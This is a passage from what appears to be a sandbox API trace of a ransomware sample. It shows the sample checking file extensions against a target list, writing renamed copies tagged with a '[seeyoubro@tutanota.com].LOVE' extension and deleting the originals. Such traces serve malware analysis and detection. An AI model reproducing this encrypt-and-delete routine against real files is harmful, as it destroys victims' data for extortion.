[0196.263] lstrlenW (lpString=".zip") returned 4 [0196.263] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0196.263] lstrlenW (lpString=".rar") returned 4 [0196.263] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0196.263] lstrlenW (lpString=".bz2") returned 4 [0196.263] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0196.263] lstrlenW (lpString=".7z") returned 3 [0196.263] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0196.263] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0196.263] lstrlenW (lpString=".dbf") returned 4 [0196.263] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0196.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0196.264] lstrlenW (lpString=".1cd") returned 4 [0196.264] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0196.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0196.264] lstrlenW (lpString=".jpg") returned 4 [0196.264] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0196.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0196.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0196.264] lstrlenW (lpString=".doc") returned 4 [0196.264] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0196.264] lstrlenW (lpString=".docx") returned 5 [0196.264] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0196.264] lstrlenW (lpString=".pdf") returned 4 [0196.264] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0196.264] lstrlenW (lpString=".xls") returned 4 [0196.264] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0196.264] lstrlenW (lpString=".xlsx") returned 5 [0196.264] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0196.264] lstrlenW (lpString=".ppt") returned 4 [0196.264] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0196.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0196.264] lstrlenW (lpString=".zip") returned 4 [0196.264] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0196.264] lstrlenW (lpString=".rar") returned 4 [0196.264] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0196.264] lstrlenW (lpString=".bz2") returned 4 [0196.264] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0196.264] lstrlenW (lpString=".7z") returned 3 [0196.264] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0196.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0196.265] lstrlenW (lpString=".dbf") returned 4 [0196.265] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0196.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0196.265] lstrlenW (lpString=".1cd") returned 4 [0196.265] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0196.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0196.265] lstrlenW (lpString=".jpg") returned 4 [0196.265] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0196.265] lstrcmpiW (lpString1=".rtf", lpString2=".LOVE") returned 1 [0196.265] lstrlenW (lpString="eula.rtf") returned 8 [0196.265] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0196.307] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=3546) returned 1 [0196.307] CloseHandle (hObject=0x2dc) returned 1 [0196.307] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 0x80 [0196.307] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.307] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0196.307] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.307] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.308] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0196.308] GetLastError () returned 0x0 [0196.308] ReadFile (in: hFile=0x2dc, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xdda, lpOverlapped=0x0) returned 1 [0196.331] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xde0, lpOverlapped=0x0) returned 1 [0196.332] ReadFile (in: hFile=0x2dc, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0196.332] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xe4, lpOverlapped=0x0) returned 1 [0196.332] SetEndOfFile (hFile=0x2d8) returned 1 [0196.332] CloseHandle (hObject=0x2d8) returned 1 [0196.333] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.333] SetEndOfFile (hFile=0x2dc) returned 1 [0196.334] CloseHandle (hObject=0x2dc) returned 1 [0196.334] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.335] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 1 [0196.335] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0196.335] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0196.335] lstrlenW (lpString=".doc") returned 4 [0196.335] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0196.335] lstrlenW (lpString=".docx") returned 5 [0196.335] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0196.335] lstrlenW (lpString=".pdf") returned 4 [0196.335] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0196.335] lstrlenW (lpString=".xls") returned 4 [0196.335] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0196.335] lstrlenW (lpString=".xlsx") returned 5 [0196.335] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0196.335] lstrlenW (lpString=".ppt") returned 4 [0196.335] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0196.335] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0196.335] lstrlenW (lpString=".zip") returned 4 [0196.335] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0196.336] lstrlenW (lpString=".rar") returned 4 [0196.336] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0196.336] lstrlenW (lpString=".bz2") returned 4 [0196.336] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0196.336] lstrlenW (lpString=".7z") returned 3 [0196.336] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0196.336] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0196.336] lstrlenW (lpString=".dbf") returned 4 [0196.336] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0196.336] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0196.336] lstrlenW (lpString=".1cd") returned 4 [0196.336] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0196.336] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0196.336] lstrlenW (lpString=".jpg") returned 4 [0196.336] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0196.336] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0196.336] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0196.336] lstrlenW (lpString=".doc") returned 4 [0196.336] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0196.336] lstrlenW (lpString=".docx") returned 5 [0196.336] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0196.336] lstrlenW (lpString=".pdf") returned 4 [0196.336] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0196.336] lstrlenW (lpString=".xls") returned 4 [0196.337] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0196.337] lstrlenW (lpString=".xlsx") returned 5 [0196.337] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0196.337] lstrlenW (lpString=".ppt") returned 4 [0196.337] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0196.337] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0196.337] lstrlenW (lpString=".zip") returned 4 [0196.337] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0196.337] lstrlenW (lpString=".rar") returned 4 [0196.337] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0196.337] lstrlenW (lpString=".bz2") returned 4 [0196.337] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0196.337] lstrlenW (lpString=".7z") returned 3 [0196.337] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0196.337] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0196.337] lstrlenW (lpString=".dbf") returned 4 [0196.337] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0196.337] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0196.337] lstrlenW (lpString=".1cd") returned 4 [0196.337] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0196.337] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0196.337] lstrlenW (lpString=".jpg") returned 4 [0196.337] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0196.337] lstrcmpiW (lpString1=".rtf", lpString2=".LOVE") returned 1 [0196.337] lstrlenW (lpString="eula.rtf") returned 8 [0196.337] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0196.338] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=3046) returned 1 [0196.338] CloseHandle (hObject=0x2dc) returned 1 [0196.338] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 0x80 [0196.338] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.338] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0196.338] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.338] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.338] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0196.339] GetLastError () returned 0x0 [0196.339] ReadFile (in: hFile=0x2dc, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xbe6, lpOverlapped=0x0) returned 1 [0196.347] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xbf0, lpOverlapped=0x0) returned 1 [0196.348] ReadFile (in: hFile=0x2dc, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0196.348] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xe4, lpOverlapped=0x0) returned 1 [0196.348] SetEndOfFile (hFile=0x2d8) returned 1 [0196.348] CloseHandle (hObject=0x2d8) returned 1 [0196.349] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.349] SetEndOfFile (hFile=0x2dc) returned 1 [0196.350] CloseHandle (hObject=0x2dc) returned 1 [0196.350] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.350] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 1 [0196.351] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0196.351] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0196.351] lstrlenW (lpString=".doc") returned 4 [0196.351] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0196.351] lstrlenW (lpString=".docx") returned 5 [0196.351] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0196.351] lstrlenW (lpString=".pdf") returned 4 [0196.351] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0196.351] lstrlenW (lpString=".xls") returned 4 [0196.351] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0196.351] lstrlenW (lpString=".xlsx") returned 5 [0196.351] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0196.351] lstrlenW (lpString=".ppt") returned 4 [0196.351] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0196.351] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0196.351] lstrlenW (lpString=".zip") returned 4 [0196.351] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0196.351] lstrlenW (lpString=".rar") returned 4 [0196.351] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0196.351] lstrlenW (lpString=".bz2") returned 4 [0196.351] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0196.351] lstrlenW (lpString=".7z") returned 3 [0196.351] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0196.352] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0196.352] lstrlenW (lpString=".dbf") returned 4 [0196.352] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0196.352] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0196.352] lstrlenW (lpString=".1cd") returned 4 [0196.352] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0196.352] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0196.352] lstrlenW (lpString=".jpg") returned 4 [0196.352] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0196.352] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0196.352] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0196.352] lstrlenW (lpString=".doc") returned 4 [0196.352] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0196.352] lstrlenW (lpString=".docx") returned 5 [0196.352] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0196.352] lstrlenW (lpString=".pdf") returned 4 [0196.352] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0196.352] lstrlenW (lpString=".xls") returned 4 [0196.352] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0196.352] lstrlenW (lpString=".xlsx") returned 5 [0196.352] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0196.352] lstrlenW (lpString=".ppt") returned 4 [0196.352] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0196.352] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0196.352] lstrlenW (lpString=".zip") returned 4 [0196.352] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0196.352] lstrlenW (lpString=".rar") returned 4 [0196.352] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0196.352] lstrlenW (lpString=".bz2") returned 4 [0196.353] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0196.353] lstrlenW (lpString=".7z") returned 3 [0196.353] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0196.353] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0196.353] lstrlenW (lpString=".dbf") returned 4 [0196.353] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0196.353] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0196.353] lstrlenW (lpString=".1cd") returned 4 [0196.353] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0196.353] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0196.353] lstrlenW (lpString=".jpg") returned 4 [0196.353] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0196.353] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0196.353] lstrlenW (lpString="LocalizedData.xml") returned 17 [0196.353] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0196.353] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=79296) returned 1 [0196.353] CloseHandle (hObject=0x2dc) returned 1 [0196.354] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 0x80 [0196.354] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.354] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0196.354] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.354] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.354] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0196.354] GetLastError () returned 0x0 [0196.354] ReadFile (in: hFile=0x2dc, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x135c0, lpOverlapped=0x0) returned 1 [0196.389] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x135d0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x135d0, lpOverlapped=0x0) returned 1 [0196.391] ReadFile (in: hFile=0x2dc, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0196.391] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xf6, lpOverlapped=0x0) returned 1 [0196.391] SetEndOfFile (hFile=0x2d8) returned 1 [0196.391] CloseHandle (hObject=0x2d8) returned 1 [0196.395] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.395] SetEndOfFile (hFile=0x2dc) returned 1 [0196.397] CloseHandle (hObject=0x2dc) returned 1 [0196.397] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.397] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 1 [0196.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0196.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0196.397] lstrlenW (lpString=".doc") returned 4 [0196.397] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0196.398] lstrlenW (lpString=".docx") returned 5 [0196.398] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0196.398] lstrlenW (lpString=".pdf") returned 4 [0196.398] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0196.398] lstrlenW (lpString=".xls") returned 4 [0196.398] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0196.398] lstrlenW (lpString=".xlsx") returned 5 [0196.398] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0196.398] lstrlenW (lpString=".ppt") returned 4 [0196.398] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0196.398] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0196.398] lstrlenW (lpString=".zip") returned 4 [0196.398] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0196.398] lstrlenW (lpString=".rar") returned 4 [0196.398] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0196.398] lstrlenW (lpString=".bz2") returned 4 [0196.398] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0196.398] lstrlenW (lpString=".7z") returned 3 [0196.398] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0196.398] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0196.398] lstrlenW (lpString=".dbf") returned 4 [0196.398] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0196.398] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0196.398] lstrlenW (lpString=".1cd") returned 4 [0196.398] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0196.398] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0196.398] lstrlenW (lpString=".jpg") returned 4 [0196.398] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0196.399] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0196.399] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0196.399] lstrlenW (lpString=".doc") returned 4 [0196.399] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0196.399] lstrlenW (lpString=".docx") returned 5 [0196.399] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0196.399] lstrlenW (lpString=".pdf") returned 4 [0196.399] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0196.399] lstrlenW (lpString=".xls") returned 4 [0196.399] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0196.399] lstrlenW (lpString=".xlsx") returned 5 [0196.399] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0196.399] lstrlenW (lpString=".ppt") returned 4 [0196.399] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0196.399] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0196.399] lstrlenW (lpString=".zip") returned 4 [0196.399] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0196.399] lstrlenW (lpString=".rar") returned 4 [0196.399] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0196.399] lstrlenW (lpString=".bz2") returned 4 [0196.399] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0196.399] lstrlenW (lpString=".7z") returned 3 [0196.399] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0196.399] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0196.399] lstrlenW (lpString=".dbf") returned 4 